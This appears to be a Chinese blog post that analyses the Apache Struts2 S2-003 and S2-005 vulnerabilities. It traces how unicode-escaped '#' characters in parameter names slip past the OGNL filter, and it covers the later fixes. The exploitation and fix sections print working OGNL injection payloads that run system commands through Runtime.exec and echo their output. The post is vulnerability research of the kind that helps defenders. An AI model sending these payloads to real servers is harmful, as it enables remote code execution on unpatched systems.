前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-003
环境搭建
参考前面的文章,没有什么代码上的改变,只要更换一下 tomcat 和 struts2 的版本就好。
我这里使用的是 2.0.11.1 版本的 struts2,然后因为漏洞利用使用到了特殊字符,需要弄一个 tomcat6,我这里下载的是 6.0.10 版本的 tomcat,开箱即用,非常方便。
漏洞分析
在官方通告中,漏洞在于 ParametersInterceptor 里面对 # 的安全保护被绕过了,从而可以操作服务端的上下文对象。
看一下 ParametersInterceptor 类的源码,可以看出这个类主要是对参数的一些处理,我这里给 setParameters 方法下一个断点,然后访问 http://localhost:8080/login.action?name=Twings 观察调用:
Map.Entry entry = (Map.Entry) iterator.next();
String name = entry.getKey().toString();
boolean acceptableName = acceptableName(name)
&& (parameterNameAware == null
|| parameterNameAware.acceptableParameterName(name));
if (acceptableName) {
Object value = entry.getValue();
try {
stack.setValue(name, value);
}
...
}
可以看到参数名在经过 acceptableName 处理后会进入 stack.setValue 方法,我们跟进去看看:
public void setValue(String expr, Object value) {
setValue(expr, value, devMode);
}
很明显,这里会把参数名当作一个表达式来执行,我们回想一下 OGNL 表达式达成命令执行的方法,需要用 # 来获取非根对象,而在 acceptableName 方法中:
protected boolean acceptableName(String name) {
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
已经把 # 给 ban 掉了,所以无法直接利用。我们看看官方公布的 payload:
('\u0023' + 'session\'user\'')(unused)=0wn3d
很明显它后面会将 \u0023 解码为 #,我们将参数名换成 \u0023 继续调试,最后来到 JavaCharStream 类的 readChar 方法:
if ((buffer[bufpos] = c = ReadByte()) == '\\')
{
UpdateLineColumn(c);
int backSlashCnt = 1;
for (;;) // Read all the backslashes
{
if (++bufpos == available)
AdjustBuffSize();
try
{
if ((buffer[bufpos] = c = ReadByte()) != '\\')
{
UpdateLineColumn(c);
// found a non-backslash char.
if ((c == 'u') && ((backSlashCnt & 1) == 1))
{
if (--bufpos < 0)
bufpos = bufsize - 1;
break;
}
backup(backSlashCnt);
return '\\';
}
}
...
UpdateLineColumn(c);
backSlashCnt++;
}
// Here, we have seen an odd number of backslash's followed by a 'u'
try
{
while ((c = ReadByte()) == 'u')
++column;
buffer[bufpos] = c = (char)(hexval(c) << 12 |
hexval(ReadByte()) << 8 |
hexval(ReadByte()) << 4 |
hexval(ReadByte()));
column += 4;
}
...
}
在读到 \u 的情况下,会继续读入 4 个字符,并将它们转换为 char,也就是把 \u0023 变成了 #,也就绕过了前面的保护,从而可以使用 # 获取到需要的对象。
漏洞利用
接下来就可以构造 payload 实现命令执行了,可以看看这个 OGNL 的官方文档,我这里就不研究 OGNL 表达式的语法了(它的语法分析好像叫 javacc 来着,看起来真让人头大),或者可以看看这篇文章,我这里直接借用几个 payload:
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
他这个字符串然后两个括号的执行方式着实奇怪。
至于为什么需要先将 xwork.MethodAccessor.denyMethodExecution 赋值为 false,那是因为在处理调用方法的 callMethod 方法中,有这么一个验证:
Boolean exec = (Boolean) context.get(DENY_METHOD_EXECUTION);
boolean e = ((exec == null) ? false : exec.booleanValue());
if (!e) {
return super.callMethod(context, object, string, objects);
} else {
return null;
}
处理调用静态方法的 callStaticMethod 方法也有这个验证:
public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException {
Boolean exec = (Boolean) context.get(DENY_METHOD_EXECUTION);
boolean e = ((exec == null) ? false : exec.booleanValue());
if (!e) {
return super.callStaticMethod(context, aClass, string, objects);
} else {
return null;
}
}
如果 DENY_METHOD_EXECUTION 为 true,这里就不会调用方法。
漏洞修复
按照 S2-005 的说法,S2-005 是 S2-003 的绕过,在 2.2.1 版本之前已经有一次修复(听说是 2.0.12 版本),是通过添加新的类似 DENY_METHOD_EXECUTION 的配置参数来拦截方法调用实现的,而这种修复可以像上面一样通过修改轻易地绕过:
login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)
而在 2.2.1 版本进行了修复,改变了 acceptableName 里面的白名单限制:
protected boolean isAccepted(String paramName) {
if (!this.acceptParams.isEmpty()) {
for (Pattern pattern : acceptParams) {
Matcher matcher = pattern.matcher(paramName);
if (matcher.matches()) {
return true;
}
}
return false;
} else
return acceptedPattern.matcher(paramName).matches();
}
而 acceptedPattern 是这样的一个正则:
[a-zA-Z0-9\.\]\[\(\)_'\s]+
可以看到 \ 也被拦截了,所以这种利用方式也走不通了。
S2-005
漏洞分析
就是上面提到的,在 S2-003 基础上增加新的安全配置后的绕过。
漏洞利用
见上方。
漏洞修复
见 2.2.1 版本修复。
参考文章:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!